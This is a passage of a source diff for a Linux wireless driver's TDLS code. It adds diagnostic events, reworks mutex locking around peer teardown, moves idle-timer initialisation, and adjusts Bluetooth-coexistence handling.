HDD_MAC_ADDR_LEN); + + tdls_event.is_off_chan_supported = + is_off_chan_supported; + tdls_event.is_off_chan_configured = + is_off_chan_configured; + tdls_event.is_off_chan_established = + is_off_chan_established; + + WLAN_VOS_DIAG_EVENT_REPORT(&tdls_event, + EVENT_WLAN_TDLS_ENABLE_LINK); +} + +/** + * hdd_wlan_block_scan_by_tdls()- send event + * if scan is blocked by tdls + * + * This Function send send diag event if scan is + * blocked by tdls + * + * Return: void. + */ + +void hdd_wlan_block_scan_by_tdls(void) +{ + WLAN_VOS_DIAG_EVENT_DEF(tdls_scan_block_status, + struct vos_event_tdls_scan_rejected); + + vos_mem_zero(&tdls_scan_block_status, + sizeof(tdls_scan_block_status)); + + tdls_scan_block_status.status = true; + WLAN_VOS_DIAG_EVENT_REPORT(&tdls_scan_block_status, + EVENT_TDLS_SCAN_BLOCK); +} + +#endif + + /** * wlan_hdd_tdls_disable_offchan_and_teardown_links - Disable offchannel * and teardown TDLS links @@ -146,11 +229,29 @@ void wlan_hdd_tdls_disable_offchan_and_teardown_links(hdd_context_t *hddctx) if (!hddctx->tdlsConnInfo[staIdx].staId) continue; + mutex_lock(&hddctx->tdls_lock); curr_peer = wlan_hdd_tdls_find_all_peer(hddctx, hddctx->tdlsConnInfo[staIdx].peerMac.bytes); if (!curr_peer) + { + mutex_unlock(&hddctx->tdls_lock); continue; + } + + wlan_hdd_tdls_reset_peer(adapter, curr_peer->peerMac); + + hddLog(LOG1, FL("indicate TDLS teardown (staId %d)"), + curr_peer->staId); + + /* Indicate teardown to supplicant */ + wlan_hdd_tdls_indicate_teardown( + curr_peer->pHddTdlsCtx->pAdapter, + curr_peer, + eSIR_MAC_TDLS_TEARDOWN_UNSPEC_REASON); + hdd_send_wlan_tdls_teardown_event(eTDLS_TEARDOWN_CONCURRENCY, + curr_peer->peerMac); + mutex_unlock(&hddctx->tdls_lock); /* Del Sta happened already as part of sme_DeleteAllTDLSPeers * Hence clear hdd data structure. @@ -158,26 +259,17 @@ void wlan_hdd_tdls_disable_offchan_and_teardown_links(hdd_context_t *hddctx) hdd_roamDeregisterTDLSSTA(adapter, hddctx->tdlsConnInfo[staIdx].staId); wlan_hdd_tdls_decrement_peer_count(adapter); - wlan_hdd_tdls_reset_peer(adapter, curr_peer->peerMac); hddctx->tdlsConnInfo[staIdx].staId = 0 ; hddctx->tdlsConnInfo[staIdx].sessionId = 255; vos_mem_zero(&hddctx->tdlsConnInfo[staIdx].peerMac, sizeof(v_MACADDR_t)) ; wlan_hdd_tdls_check_bmps(adapter); - - hddLog(LOG1, FL("indicate TDLS teardown (staId %d)"), - curr_peer->staId); - - /* Indicate teardown to supplicant */ - wlan_hdd_tdls_indicate_teardown( - curr_peer->pHddTdlsCtx->pAdapter, - curr_peer, - eSIR_MAC_TDLS_TEARDOWN_UNSPEC_REASON); } done: - wlan_hdd_tdls_set_mode(hddctx, eTDLS_SUPPORT_DISABLED, FALSE); + wlan_hdd_tdls_set_mode(hddctx, eTDLS_SUPPORT_DISABLED, FALSE, + HDD_SET_TDLS_MODE_SOURCE_P2P); hddLog(LOG1, FL("TDLS Support Disabled")); } @@ -193,46 +285,6 @@ void hdd_tdls_notify_mode_change(hdd_adapter_t *adapter, hdd_context_t *hddctx) wlan_hdd_tdls_disable_offchan_and_teardown_links(hddctx); } -static v_VOID_t wlan_hdd_tdls_start_peer_discover_timer(tdlsCtx_t *pHddTdlsCtx, - tANI_BOOLEAN mutexLock, - v_U32_t discoveryExpiry) -{ - hdd_station_ctx_t *pHddStaCtx; - hdd_context_t *pHddCtx; - - ENTER(); - - if ((NULL == pHddTdlsCtx) || (NULL == pHddTdlsCtx->pAdapter) ) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL(" pHddTdlsCtx or pAdapter points to NULL")); - return; - } - - pHddCtx = WLAN_HDD_GET_CTX( pHddTdlsCtx->pAdapter ); - - if(0 != (wlan_hdd_validate_context(pHddCtx))) - { - return; - } - - if ( mutexLock ) - { - mutex_lock(&pHddCtx->tdls_lock); - } - - pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pHddTdlsCtx->pAdapter); - - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "beacon rssi: %d", - pHddTdlsCtx->ap_rssi); - - if ( mutexLock ) - mutex_unlock(&pHddCtx->tdls_lock); - - EXIT(); - return; -} - #ifdef TDLS_USE_SEPARATE_DISCOVERY_TIMER static v_VOID_t wlan_hdd_tdls_discover_peer_cb( v_PVOID_t userData ) { @@ -244,7 +296,6 @@ static v_VOID_t wlan_hdd_tdls_discover_peer_cb( v_PVOID_t userData ) tdlsCtx_t *pHddTdlsCtx; int discover_req_sent = 0; v_U32_t discover_expiry = TDLS_SUB_DISCOVERY_PERIOD; - tANI_BOOLEAN doMutexLock = eANI_BOOLEAN_TRUE; v_CONTEXT_t pVosContext; ENTER(); @@ -337,14 +388,12 @@ static v_VOID_t wlan_hdd_tdls_discover_peer_cb( v_PVOID_t userData ) "discovery_peer_cnt is %d , Starting SUB_DISCOVERY_TIMER", pHddTdlsCtx->discovery_peer_cnt); discover_expiry = TDLS_SUB_DISCOVERY_PERIOD; - doMutexLock = eANI_BOOLEAN_FALSE; goto done; } discover_expiry = pHddTdlsCtx->threshold_config.discovery_period_t; wlan_hdd_tdls_peer_reset_discovery_processed(pHddTdlsCtx); - mutex_unlock(&pHddCtx->tdls_lock); /* Commenting out the following function as it was introducing * a race condition when pHddTdlsCtx is deleted. Also , this @@ -357,15 +406,112 @@ static v_VOID_t wlan_hdd_tdls_discover_peer_cb( v_PVOID_t userData ) */ done: - wlan_hdd_tdls_start_peer_discover_timer(pHddTdlsCtx, doMutexLock, discover_expiry); - - if ( !doMutexLock ) - mutex_unlock(&pHddCtx->tdls_lock); + mutex_unlock(&pHddCtx->tdls_lock); EXIT(); return; } #endif +static v_VOID_t wlan_hdd_tdls_idle_cb( v_PVOID_t userData ) +{ +#ifdef CONFIG_TDLS_IMPLICIT + tdlsConnInfo_t *tdlsInfo = (tdlsConnInfo_t *) userData; + hddTdlsPeer_t *curr_peer; + tdlsCtx_t *pHddTdlsCtx; + hdd_context_t *pHddCtx; + v_CONTEXT_t pVosContext; + hdd_adapter_t *pAdapter = NULL; + + ENTER(); + + if (!tdlsInfo->staId) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("peer (staidx %u) doesn't exists"), tdlsInfo->staId); + return; + } + + pVosContext = vos_get_global_context(VOS_MODULE_ID_HDD, NULL); + if (NULL == pVosContext) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("pVosContext points to NULL")); + return; + } + + pHddCtx = vos_get_context(VOS_MODULE_ID_HDD, pVosContext); + if (0 != (wlan_hdd_validate_context(pHddCtx))) + { + return; + } + + pAdapter = hdd_get_adapter_by_sme_session_id(pHddCtx, tdlsInfo->sessionId); + + if (!pAdapter) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("pAdapter is NULL")); + return; + } + + mutex_lock(&pHddCtx->tdls_lock); + + curr_peer = wlan_hdd_tdls_find_peer(pAdapter, + (u8 *) &tdlsInfo->peerMac.bytes[0], FALSE); + + if (NULL == curr_peer) + { + mutex_unlock(&pHddCtx->tdls_lock); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("Invalid tdls idle timer expired")); + return; + } + + pHddTdlsCtx = curr_peer->pHddTdlsCtx; + if (0 != (wlan_hdd_validate_tdls_context(pHddCtx, pHddTdlsCtx))) + { + mutex_unlock(&pHddCtx->tdls_lock); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("Invalid pHddTdlsCtx context")); + return; + } + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: Tx/Rx Idle " MAC_ADDRESS_STR " tx_pkt: %d, rx_pkt: %d, idle_packet_n: %d", + __func__, MAC_ADDR_ARRAY(curr_peer->peerMac), + curr_peer->tx_pkt, + curr_peer->rx_pkt, + curr_peer->pHddTdlsCtx->threshold_config.idle_packet_n); + + /* Check tx/rx statistics on this tdls link for recent activities and + * then decide whether to tear down the link or keep it. + */ + if ((curr_peer->tx_pkt >= curr_peer->pHddTdlsCtx->threshold_config.idle_packet_n) || (curr_peer->rx_pkt >= curr_peer->pHddTdlsCtx->threshold_config.idle_packet_n)) + { + /* this tdls link got back to normal, so keep it */ + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: tdls link to " MAC_ADDRESS_STR " back to normal, will stay", + __func__, MAC_ADDR_ARRAY(curr_peer->peerMac)); + } + else + { + /* this tdls link needs to get torn down */ + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: trigger tdls link to " MAC_ADDRESS_STR " down", + __func__, MAC_ADDR_ARRAY(curr_peer->peerMac)); + + wlan_hdd_tdls_indicate_teardown(curr_peer->pHddTdlsCtx->pAdapter, + curr_peer, + eSIR_MAC_TDLS_TEARDOWN_UNSPEC_REASON); + hdd_send_wlan_tdls_teardown_event(eTDLS_TEARDOWN_TXRX_THRESHOLD, + curr_peer->peerMac); + + } + mutex_unlock(&pHddCtx->tdls_lock); + EXIT(); +#endif +} + static v_VOID_t wlan_hdd_tdls_update_peer_cb( v_PVOID_t userData ) { int i; @@ -409,6 +555,23 @@ static v_VOID_t wlan_hdd_tdls_update_peer_cb( v_PVOID_t userData ) " tdls_support %d", __func__, MAC_ADDR_ARRAY(curr_peer->peerMac), curr_peer->link_status, curr_peer->tdls_support); + if ((pHddCtx->tdls_mode == eTDLS_SUPPORT_DISABLED) && + (eTDLS_LINK_DISCOVERING == curr_peer->link_status)) { + curr_peer->tdls_support = eTDLS_CAP_UNKNOWN; + wlan_hdd_tdls_set_peer_link_status( + curr_peer, + eTDLS_LINK_IDLE, + eTDLS_LINK_UNSPECIFIED); + + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: TDLS is disabled. Resetting link_status of peer " + MAC_ADDRESS_STR " to %d, tdls_support %d", __func__, + MAC_ADDR_ARRAY(curr_peer->peerMac), + curr_peer->link_status, curr_peer->tdls_support); + + goto next_peer; + } + if (eTDLS_CAP_SUPPORTED == curr_peer->tdls_support) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "tx %d, rx %d (thr.pkt %d/idle %d), rssi %d (thr.trig %d/hys %d/tear %d)", @@ -462,6 +625,10 @@ static v_VOID_t wlan_hdd_tdls_update_peer_cb( v_PVOID_t userData ) wlan_hdd_tdls_indicate_teardown(pHddTdlsCtx->pAdapter, curr_peer, eSIR_MAC_TDLS_TEARDOWN_UNSPEC_REASON); + hdd_send_wlan_tdls_teardown_event( + eTDLS_TEARDOWN_RSSI_THRESHOLD, + curr_peer->peerMac); + #endif goto next_peer; } @@ -475,6 +642,17 @@ static v_VOID_t wlan_hdd_tdls_update_peer_cb( v_PVOID_t userData ) pHddTdlsCtx->threshold_config.idle_packet_n) && (curr_peer->rx_pkt < pHddTdlsCtx->threshold_config.idle_packet_n))) { + if (!vos_timer_is_initialized(&curr_peer->peerIdleTimer)) + { + v_U8_t staId = (v_U8_t)curr_peer->staId; + tdlsConnInfo_t *tdlsInfo; + + tdlsInfo = wlan_hdd_get_conn_info(pHddCtx, staId); + vos_timer_init(&curr_peer->peerIdleTimer, + VOS_TIMER_TYPE_SW, + wlan_hdd_tdls_idle_cb, + tdlsInfo); + } if (VOS_TIMER_STATE_RUNNING != vos_timer_getCurrentState(&curr_peer->peerIdleTimer)) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, @@ -485,8 +663,11 @@ static v_VOID_t wlan_hdd_tdls_update_peer_cb( v_PVOID_t userData ) pHddTdlsCtx->threshold_config.idle_timeout_t); } } else { - if (VOS_TIMER_STATE_RUNNING == - vos_timer_getCurrentState(&curr_peer->peerIdleTimer)) { + if (vos_timer_is_initialized( + &curr_peer->peerIdleTimer) && + VOS_TIMER_STATE_RUNNING == + vos_timer_getCurrentState( + &curr_peer->peerIdleTimer)) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, "Tx/Rx Idle timer stop: " MAC_ADDRESS_STR "!", MAC_ADDR_ARRAY(curr_peer->peerMac)); @@ -555,82 +736,6 @@ static v_VOID_t wlan_hdd_tdls_update_peer_cb( v_PVOID_t userData ) EXIT(); } -static v_VOID_t wlan_hdd_tdls_idle_cb( v_PVOID_t userData ) -{ -#ifdef CONFIG_TDLS_IMPLICIT - hddTdlsPeer_t *curr_peer; - tdlsCtx_t *pHddTdlsCtx; - hdd_context_t *pHddCtx; - v_CONTEXT_t pVosContext; - - ENTER(); - - pVosContext = vos_get_global_context(VOS_MODULE_ID_HDD, NULL); - if (NULL == pVosContext) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("pVosContext points to NULL")); - return; - } - pHddCtx = vos_get_context(VOS_MODULE_ID_HDD, pVosContext); - if (0 != (wlan_hdd_validate_context(pHddCtx))) - { - return; - } - - mutex_lock(&pHddCtx->tdls_lock); - - curr_peer = (hddTdlsPeer_t *)userData; - if (NULL == curr_peer) - { - mutex_unlock(&pHddCtx->tdls_lock); - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("Invalid tdls idle timer expired")); - return; - } - - pHddTdlsCtx = curr_peer->pHddTdlsCtx; - if (0 != (wlan_hdd_validate_tdls_context(pHddCtx, pHddTdlsCtx))) - { - mutex_unlock(&pHddCtx->tdls_lock); - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("Invalid pHddTdlsCtx context")); - return; - } - - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s: Tx/Rx Idle " MAC_ADDRESS_STR " tx_pkt: %d, rx_pkt: %d, idle_packet_n: %d", - __func__, MAC_ADDR_ARRAY(curr_peer->peerMac), - curr_peer->tx_pkt, - curr_peer->rx_pkt, - curr_peer->pHddTdlsCtx->threshold_config.idle_packet_n); - - /* Check tx/rx statistics on this tdls link for recent activities and - * then decide whether to tear down the link or keep it. - */ - if ((curr_peer->tx_pkt >= curr_peer->pHddTdlsCtx->threshold_config.idle_packet_n) || (curr_peer->rx_pkt >= curr_peer->pHddTdlsCtx->threshold_config.idle_packet_n)) - { - /* this tdls link got back to normal, so keep it */ - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s: tdls link to " MAC_ADDRESS_STR " back to normal, will stay", - __func__, MAC_ADDR_ARRAY(curr_peer->peerMac)); - } - else - { - /* this tdls link needs to get torn down */ - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s: trigger tdls link to " MAC_ADDRESS_STR " down", - __func__, MAC_ADDR_ARRAY(curr_peer->peerMac)); - - wlan_hdd_tdls_indicate_teardown(curr_peer->pHddTdlsCtx->pAdapter, - curr_peer, - eSIR_MAC_TDLS_TEARDOWN_UNSPEC_REASON); - } - mutex_unlock(&pHddCtx->tdls_lock); - EXIT(); -#endif -} - static v_VOID_t wlan_hdd_tdls_discovery_timeout_peer_cb(v_PVOID_t userData) { int i; @@ -789,37 +894,13 @@ static void wlan_hdd_tdls_free_list(tdlsCtx_t *pHddTdlsCtx) } } -static void wlan_hdd_tdls_schedule_scan(struct work_struct *work) -{ - tdls_scan_context_t *scan_ctx = - container_of(work, tdls_scan_context_t, tdls_scan_work.work); - - if (NULL == scan_ctx) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("scan_ctx is NULL")); - return; - } - - if (unlikely(TDLS_CTX_MAGIC != scan_ctx->magic)) - return; - - scan_ctx->attempt++; - - wlan_hdd_cfg80211_scan(scan_ctx->wiphy, -#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) - scan_ctx->dev, -#endif - scan_ctx->scan_request); -} - void wlan_hdd_tdls_btCoex_cb(void *data, int indType) { hdd_adapter_t *pAdapter; hdd_context_t *pHddCtx; u16 connectedTdlsPeers; - tdlsCtx_t *pHddTdlsCtx; hddTdlsPeer_t *currPeer; + tANI_U16 numCurrTdlsPeers = 0; ENTER(); if ((NULL == data) || (indType < 0)) @@ -852,14 +933,6 @@ void wlan_hdd_tdls_btCoex_cb(void *data, int indType) return; } - pHddTdlsCtx = WLAN_HDD_GET_TDLS_CTX_PTR(pAdapter); - if (NULL == pHddTdlsCtx) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("pHddTdlsCtx is not valid")); - return; - } - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s: BtCoex notification type %d", __func__, indType); /* BtCoex notification type enabled, Disable TDLS */ @@ -867,15 +940,16 @@ void wlan_hdd_tdls_btCoex_cb(void *data, int indType) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, FL("BtCoex notification, Disable TDLS")); - + mutex_lock(&pHddCtx->tdls_lock); /* tdls is in progress */ - currPeer = wlan_hdd_tdls_is_progress(pHddCtx, NULL, 0, TRUE); + currPeer = wlan_hdd_tdls_is_progress(pHddCtx, NULL, 0, FALSE); if (NULL != currPeer) { wlan_hdd_tdls_set_peer_link_status (currPeer, eTDLS_LINK_IDLE, eTDLS_LINK_UNSPECIFIED); } + mutex_unlock(&pHddCtx->tdls_lock); /* while tdls is up */ if (eTDLS_SUPPORT_ENABLED == pHddCtx->tdls_mode || @@ -883,8 +957,8 @@ void wlan_hdd_tdls_btCoex_cb(void *data, int indType) { connectedTdlsPeers = wlan_hdd_tdlsConnectedPeers(pAdapter); /* disable implicit trigger logic & tdls operatoin */ - wlan_hdd_tdls_set_mode(pHddCtx, eTDLS_SUPPORT_DISABLED, FALSE); - pHddCtx->is_tdls_btc_enabled = FALSE; + wlan_hdd_tdls_set_mode(pHddCtx, eTDLS_SUPPORT_DISABLED, FALSE, + HDD_SET_TDLS_MODE_SOURCE_BTC); /* teardown the peers on the btcoex */ if (connectedTdlsPeers) @@ -892,6 +966,7 @@ void wlan_hdd_tdls_btCoex_cb(void *data, int indType) tANI_U8 staIdx; hddTdlsPeer_t *curr_peer; + mutex_lock(&pHddCtx->tdls_lock); for (staIdx = 0; staIdx < HDD_MAX_NUM_TDLS_STA; staIdx++) { if (pHddCtx->tdlsConnInfo[staIdx].staId) @@ -900,19 +975,26 @@ void wlan_hdd_tdls_btCoex_cb(void *data, int indType) ("%s: indicate TDLS teardown (staId %d)"), __func__,pHddCtx->tdlsConnInfo[staIdx].staId); - #ifdef CONFIG_TDLS_IMPLICIT +#ifdef CONFIG_TDLS_IMPLICIT curr_peer = wlan_hdd_tdls_find_all_peer(pHddCtx, pHddCtx->tdlsConnInfo[staIdx].peerMac.bytes); if(curr_peer) { wlan_hdd_tdls_indicate_teardown( curr_peer->pHddTdlsCtx->pAdapter, curr_peer, eSIR_MAC_TDLS_TEARDOWN_UNSPEC_REASON); + hdd_send_wlan_tdls_teardown_event( + eTDLS_TEARDOWN_BTCOEX, + curr_peer->peerMac); } - #endif +#endif } } + mutex_unlock(&pHddCtx->tdls_lock); } } + /* stop TCP delack timer if BtCoex is enable */ + set_bit(WLAN_BTCOEX_MODE, &pHddCtx->mode); + hdd_manage_delack_timer(pHddCtx); } /* BtCoex notification type enabled, Enable TDLS */ else if (indType == SIR_COEX_IND_TYPE_TDLS_ENABLE) @@ -926,10 +1008,18 @@ void wlan_hdd_tdls_btCoex_cb(void *data, int indType) VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, ("%s: revert tdls mode %d"), __func__, pHddCtx->tdls_mode_last); - pHddCtx->is_tdls_btc_enabled = TRUE; - wlan_hdd_tdls_set_mode(pHddCtx, pHddCtx->tdls_mode_last, FALSE); + wlan_hdd_tdls_set_mode(pHddCtx, pHddCtx->tdls_mode_last, FALSE, + HDD_SET_TDLS_MODE_SOURCE_BTC); } - } + + clear_bit(WLAN_BTCOEX_MODE, &pHddCtx->mode); + numCurrTdlsPeers = wlan_hdd_tdlsConnectedPeers(pAdapter); + if(numCurrTdlsPeers == 0) { + /* start delack timer if BtCoex is disable and tdls is not present */ + hdd_manage_delack_timer(pHddCtx); + } + } + EXIT(); return; } @@ -942,10 +1032,7 @@ void wlan_hdd_tdls_init(hdd_context_t *pHddCtx ) pHddCtx->connected_peer_count = 0; - pHddCtx->tdls_scan_ctxt.magic = 0; - pHddCtx->tdls_scan_ctxt.attempt = 0; - pHddCtx->tdls_scan_ctxt.reject = 0; - pHddCtx->tdls_scan_ctxt.scan_request = NULL; + wlan_hdd_init_deinit_defer_scan_context(&pHddCtx->scan_ctxt); for (staIdx = 0; staIdx < HDD_MAX_NUM_TDLS_STA; staIdx++) { @@ -954,7 +1041,7 @@ void wlan_hdd_tdls_init(hdd_context_t *pHddCtx ) vos_mem_zero(&pHddCtx->tdlsConnInfo[staIdx].peerMac, sizeof(v_MACADDR_t)) ; } - pHddCtx->is_tdls_btc_enabled = TRUE; + status = sme_RegisterBtCoexTDLSCallback(pHddCtx->hHal, wlan_hdd_tdls_btCoex_cb); if (status != eHAL_STATUS_SUCCESS) { @@ -995,9 +1082,10 @@ int wlan_hdd_sta_tdls_init(hdd_adapter_t *pAdapter) if (test_bit(TDLS_INIT_DONE, &pAdapter->event_flags)) { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: TDLS INIT DONE set to 1, no point in re-init", __func__); - return -EALREADY; + hddLog(LOG1, + FL("TDLS INIT DONE set to 1, no point in re-init")); + /* Return success as TDLS is already initialized */ + return 0; } if ((FALSE == pHddCtx->cfg_ini->fEnableTDLSSupport) || @@ -1079,9 +1167,7 @@ int wlan_hdd_sta_tdls_init(hdd_adapter_t *pAdapter) pHddTdlsCtx->threshold_config.rssi_trigger_threshold = pHddCtx->cfg_ini->fTDLSRSSITriggerThreshold; pHddTdlsCtx->threshold_config.rssi_teardown_threshold = pHddCtx->cfg_ini->fTDLSRSSITeardownThreshold; - vos_init_delayed_work(&pHddCtx->tdls_scan_ctxt.tdls_scan_work, - wlan_hdd_tdls_schedule_scan); - set_bit(TDLS_INIT_DONE, &pAdapter->event_flags); + set_bit(TDLS_INIT_DONE, &pAdapter->event_flags); return 0; } @@ -1121,19 +1207,18 @@ void wlan_hdd_tdls_exit(hdd_adapter_t *pAdapter, tANI_BOOLEAN mutexLock) pHddTdlsCtx = WLAN_HDD_GET_TDLS_CTX_PTR(pAdapter); if (NULL == pHddTdlsCtx) { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, FL("pHddTdlsCtx is NULL")); return; } - vos_flush_delayed_work(&pHddCtx->tdls_scan_ctxt.tdls_scan_work); - /* must stop timer here before freeing peer list, because peerIdleTimer is part of peer list structure. */ wlan_hdd_tdls_timers_destroy(pHddTdlsCtx); wlan_hdd_tdls_free_list(pHddTdlsCtx); - wlan_hdd_tdls_free_scan_request(&pHddCtx->tdls_scan_ctxt); + wlan_hdd_init_deinit_defer_scan_context(&pHddCtx->scan_ctxt); + pHddTdlsCtx->magic = 0; pHddTdlsCtx->pAdapter = NULL; vos_mem_free(pHddTdlsCtx); @@ -1167,7 +1252,8 @@ static void wlan_hdd_tdls_peer_timers_stop(tdlsCtx_t *pHddTdlsCtx) "%s: " MAC_ADDRESS_STR " -> stop idle timer", __func__, MAC_ADDR_ARRAY(curr_peer->peerMac)); - vos_timer_stop ( &curr_peer->peerIdleTimer ); + if (vos_timer_is_initialized(&curr_peer->peerIdleTimer)) + vos_timer_stop ( &curr_peer->peerIdleTimer ); if (vos_timer_is_initialized(&curr_peer->initiatorWaitTimeoutTimer)) vos_timer_stop( &curr_peer->initiatorWaitTimeoutTimer ); } @@ -1206,20 +1292,25 @@ static void wlan_hdd_tdls_peer_timers_destroy(tdlsCtx_t *pHddTdlsCtx) list_for_each (pos, head) { curr_peer = list_entry (pos, hddTdlsPeer_t, node); - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s: " MAC_ADDRESS_STR " -> destroy idle timer", - __func__, - MAC_ADDR_ARRAY(curr_peer->peerMac)); - vos_timer_stop ( &curr_peer->peerIdleTimer ); - vos_timer_destroy ( &curr_peer->peerIdleTimer ); + if (vos_timer_is_initialized(&curr_peer->peerIdleTimer)){ + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: " MAC_ADDRESS_STR " -> destroy idle timer", + __func__, + MAC_ADDR_ARRAY(curr_peer->peerMac)); + vos_timer_stop ( &curr_peer->peerIdleTimer ); + vos_timer_destroy ( &curr_peer->peerIdleTimer ); + } if (vos_timer_is_initialized(&curr_peer->initiatorWaitTimeoutTimer)) { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: " MAC_ADDRESS_STR " -> destroy initiatorWaitTimeoutTimer", + __func__, + MAC_ADDR_ARRAY(curr_peer->peerMac)); vos_timer_stop(&curr_peer->initiatorWaitTimeoutTimer); vos_timer_destroy(&curr_peer->initiatorWaitTimeoutTimer); } } } - } /* destroy all the tdls timers running */ @@ -1266,6 +1357,9 @@ hddTdlsPeer_t *wlan_hdd_tdls_get_peer(hdd_adapter_t *pAdapter, return peer; } + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + FL("peer mac address %pM"), mac); + /* not found, allocate and add the list */ peer = vos_mem_malloc(sizeof(hddTdlsPeer_t)); if (NULL == peer) { @@ -1289,16 +1383,17 @@ hddTdlsPeer_t *wlan_hdd_tdls_get_peer(hdd_adapter_t *pAdapter, vos_mem_zero(peer, sizeof(hddTdlsPeer_t)); vos_mem_copy(peer->peerMac, mac, sizeof(peer->peerMac)); peer->pHddTdlsCtx = pHddTdlsCtx; - - vos_timer_init(&peer->peerIdleTimer, - VOS_TIMER_TYPE_SW, - wlan_hdd_tdls_idle_cb, - peer); list_add_tail(&peer->node, head); return peer; } +/* + * NOTE: + * The Callers of this function should ensure to release the + * tdls_lock before calling this function to avoid deadlocks. + */ + int wlan_hdd_tdls_set_cap(hdd_adapter_t *pAdapter, #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) const u8* mac, @@ -1382,15 +1477,29 @@ void wlan_hdd_tdls_set_link_status(hdd_adapter_t *pAdapter, tANI_S32 res = 0; /*EXT TDLS*/ hddTdlsPeer_t *curr_peer; + hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + + if (pHddCtx == NULL) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("pHddCtx is NULL")); + return; + } - curr_peer = wlan_hdd_tdls_find_peer(pAdapter, mac, TRUE); + mutex_lock(&pHddCtx->tdls_lock); + curr_peer = wlan_hdd_tdls_find_peer(pAdapter, mac, FALSE); if (curr_peer == NULL) { + mutex_unlock(&pHddCtx->tdls_lock); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: curr_peer is NULL", __func__); return; } + hddLog(VOS_TRACE_LEVEL_INFO, + "tdls set peer " MAC_ADDRESS_STR " link status to %u", + MAC_ADDR_ARRAY(curr_peer->peerMac), linkStatus); + curr_peer->link_status= linkStatus; /*EXT TDLS*/ @@ -1400,13 +1509,15 @@ void wlan_hdd_tdls_set_link_status(hdd_adapter_t *pAdapter, /*save the reason for any further query*/ curr_peer->reason = reason; wlan_hdd_tdls_get_wifi_hal_state(curr_peer, &state, &res); - + mutex_unlock(&pHddCtx->tdls_lock); (*curr_peer->state_change_notification)(mac, state, res, - curr_peer->pHddTdlsCtx->pAdapter); - + pAdapter); } + else + mutex_unlock(&pHddCtx->tdls_lock); + /*EXT TDLS*/ return; } @@ -1414,15 +1525,24 @@ void wlan_hdd_tdls_set_link_status(hdd_adapter_t *pAdapter, int wlan_hdd_tdls_recv_discovery_resp(hdd_adapter_t *pAdapter, u8 *mac) { hddTdlsPeer_t *curr_peer; - tdlsCtx_t *pHddTdlsCtx = WLAN_HDD_GET_TDLS_CTX_PTR(pAdapter); + tdlsCtx_t *pHddTdlsCtx = NULL; hdd_context_t *pHddCtx; ENTER(); + pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + if (0 != wlan_hdd_validate_context(pHddCtx)) + return -1; + + mutex_lock(&pHddCtx->tdls_lock); + + pHddTdlsCtx = WLAN_HDD_GET_TDLS_CTX_PTR(pAdapter); if ( NULL == pHddTdlsCtx ) { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("pHddTdlsCtx is NULL device mode = %d"), pAdapter->device_mode); + mutex_unlock(&pHddCtx->tdls_lock); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("pHddTdlsCtx is NULL device mode = %d"), + pAdapter->device_mode); return -1; } @@ -1430,29 +1550,26 @@ int wlan_hdd_tdls_recv_discovery_resp(hdd_adapter_t *pAdapter, u8 *mac) if(0 != (wlan_hdd_validate_context(pHddCtx))) { + mutex_unlock(&pHddCtx->tdls_lock); return 0; } - mutex_lock(&pHddCtx->tdls_lock); 